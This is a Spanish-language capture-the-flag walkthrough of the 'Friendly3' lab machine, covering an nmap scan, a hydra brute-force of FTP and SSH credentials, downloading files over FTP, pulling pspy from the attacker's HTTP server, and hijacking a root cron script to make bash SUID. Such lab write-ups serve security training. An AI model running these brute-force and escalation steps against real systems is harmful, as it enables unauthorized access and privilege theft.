# Friendly3

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FbX5XvTqsUecU9RK1zQ28%2Fimage.png?alt=media&#x26;token=9a151111-6afa-4e9b-a4b1-2abeb7dd35da" alt=""><figcaption></figcaption></figure>

## Fase de reconocimiento

`nmap -p- -sSVC --min-rate 5000 192.168.8.114 -oG allPorts -vvv`

Un escaneo de nmap nos muestra los puertos los cuales tiene abierto la maquian victima, y son el 21 (FTP), 22 (SSH) y 80 (HTTP)

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FEf25zpUzLtiptuf0YeWX%2Fimage.png?alt=media&#x26;token=27d7e748-c48f-4d67-8959-a202f14db831" alt=""><figcaption></figcaption></figure>

## Fase de intrusión

En la página web nos encontramos lo siguiente, podemos ver un usuario "juan" (Hice fuzzing con gobuster pero no encontré nada):

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2Fjljg0kKsowEbOAM1m1pq%2Fimage.png?alt=media&#x26;token=4f2cfab2-7f2f-4d6a-99cb-77dd8be5e5df" alt=""><figcaption></figcaption></figure>

Así que vamos a ver que hay en el FTP, y no podemos ver lo que hay adentro sin proveer unos credenciales validos, estoy pensando en hacer un ataque de fuerza bruta a el usuario juan:

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2Feuun1XdEXhqo2rb5pR20%2Fimage.png?alt=media&#x26;token=37f6fc24-a417-445a-ae1f-5da36655c6b4" alt=""><figcaption></figcaption></figure>

Con el ataque de fuerza bruta de hydra encontramos con exito los credenciales

`hydra -l juan -P /usr/share/wordlists/rockyou.txt -I ftp://192.168.8.114 -VI -f`

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FcvTl70ZTU5c4BuGjajZV%2Fimage.png?alt=media&#x26;token=a088170f-1357-4411-9f9f-24d3434a3d7e" alt=""><figcaption></figcaption></figure>

Nos descargamos todos los archivos del ftp con wget

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FYqOgTjUrdu8U0iH5ExVJ%2Fimage.png?alt=media&#x26;token=9a296df3-0621-4a29-a028-2c359e572257" alt=""><figcaption></figcaption></figure>

Hacemos un ls -alR para ver que archivos contienen algo dentro de ellos revisando su interior con su tamaño, se puede hacer de está manera, o automatizándolo con un script en bash usando find:

```bash
#!/bin/bash

find . -type d,f -size +0c ! -size 4096c -not -name "script.sh" -print0 | while IFS= read -r -d '' elemento;do
    tamano=$(du -sb "$elemento" | cut -f1)
    echo "Elemento: $elemento - TamaC1o: $tamano bytes"
    cat "$elemento" 
done
```

Podemos encontrar lo siguiente dentro de los archivos:

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FOzRiBOqugKNdTKdkt68k%2Fimage.png?alt=media&#x26;token=09c1cf7f-d000-42ef-91b2-7bdf65a18a20" alt=""><figcaption></figcaption></figure>

Hacemos un ataque de fuerza bruta otra vez con hydra, para saber la contraseña del ssh, y es la misma que previamente habíamos obetenido haciendo fuerza bruta al ftp:

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2F2LVe7bUYLGn15HgZHsBH%2Fimage.png?alt=media&#x26;token=238a88b6-1379-4fff-bd96-9573d308b45b" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios

La pista que nos dejo en el ftp (que por cierto también está dentro del usuario juan) parece ser mentira puesto que he decodificado el mensaje y era "mypassword.txt", archivo el cual no es existe en el sistema, me desplazo a root y encuentro dentro de /opt un archivo en bash el cual me interesa bastante, ya que dentro tiene lo siguiente:

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FpCOJfS2G46PUPMSwrIoa%2Fimage.png?alt=media&#x26;token=db0729fc-20fa-46f9-a596-f35faeb18442" alt=""><figcaption></figcaption></figure>

Está haciendo un curl a un archivo de nuestra sistema (IP de loopback, pero como es http: pues lo busca en la web) y despues esta mandando ese mismo archivo a /tmp/a.bash, luego le da permisos de ejecutacion, escritura y lectura y lo abre con /bin/bash, para posteriormente eliminarlo.

Bien, aquí voy a importar pspy64 (Podeis encontrar el binario en github) y me lo voy a mandar abriendo un servidor python (python3 -m http.server) y despues desde la maquina victima haciendo un curl ip:puerto/pspy64 --output pspy. Una vez en la maquina victima, le damos permisos de ejecución (chmod +x pspy64) y lo ejecutamos:

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2FKLbhTWUKYrg4fmI9yt7D%2Fimage.png?alt=media&#x26;token=f68aa8bc-9a90-4715-b5db-ea5767a01315" alt=""><figcaption></figcaption></figure>

Podemos ver que se ejecuta cada minuto el archivo .sh que he enseñado previamente. Podríamos hacer un bucle para insertar automáticamente dentro de "a.bash".

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2F2IUvVwPTwgXaAVSFQ7JX%2Fimage.png?alt=media&#x26;token=2aef0e3b-43ab-4dc3-a8ba-73df541b5915" alt=""><figcaption></figcaption></figure>

Esperamos a que se ejecute check\_for\_install.sh, y cuando lo haga los permisos de la bash cambiaran, y cualquier usuario los podrá ejecutarlo como un superuser:

<figure><img src="https://2216970731-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgI96Zsgdt6Oh2PlOLDwP%2Fuploads%2Fu29Ie9K4WVjTvvCi3T3r%2Fimage.png?alt=media&#x26;token=7d8ff241-aaa3-43b5-80e4-bf29a9feebbc" alt=""><figcaption></figcaption></figure>

